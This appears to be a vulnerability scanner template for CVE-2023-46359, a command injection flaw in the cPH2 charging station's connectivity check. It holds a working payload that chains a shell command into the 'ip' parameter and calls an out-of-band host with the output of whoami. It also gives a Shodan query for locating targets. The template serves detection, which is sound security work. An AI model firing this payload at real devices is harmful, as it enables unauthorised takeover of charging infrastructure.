cPH2 Charging Station v1.87.0 - OS Command Injection

id: CVE-2023-46359

info:
  name: cPH2 Charging Station v1.87.0 - OS Command Injection
  author: mlec
  severity: critical
  description: |
    An OS command injection vulnerability in Hardy Barth cPH2 Ladestation v1.87.0 and earlier, may allow an unauthenticated remote attacker to execute arbitrary commands on the system via a specifically crafted arguments passed to the connectivity check feature.
  impact: |
    Unauthenticated attackers can exploit OS command injection through the connectivity check feature to execute arbitrary system commands and completely compromise cPH2 charging station installations.
  remediation: Fixed in version 2.0.0
  reference:
    - https://www.offensity.com/en/blog/os-command-injection-in-cph2-charging-station-200-cve-2023-46359-and-cve-2023-46360/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-46359
    - http://hardy.com
    - https://github.com/d4n-sec/d4n-sec.github.io
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-46359
    cwe-id: CWE-78
    epss-score: 0.80888
    epss-percentile: 0.99582
    cpe: cpe:2.3:h:hardy-barth:cph2_echarge:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: hardy-barth
    product: cph2_echarge
    shodan-query: html:"Salia PLCC"
  tags: cve2023,cve,salia-plcc,cph2,rce,hardy-barth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/connectioncheck.php?ip={{url_encode('127.0.0.1 && curl http://$(whoami).{{interactsh-url}}')}}"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<b>SUCCESS</b>"
          - "127.0.0.1 && curl http://$(whoami).{{interactsh-url}}"
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "dns"
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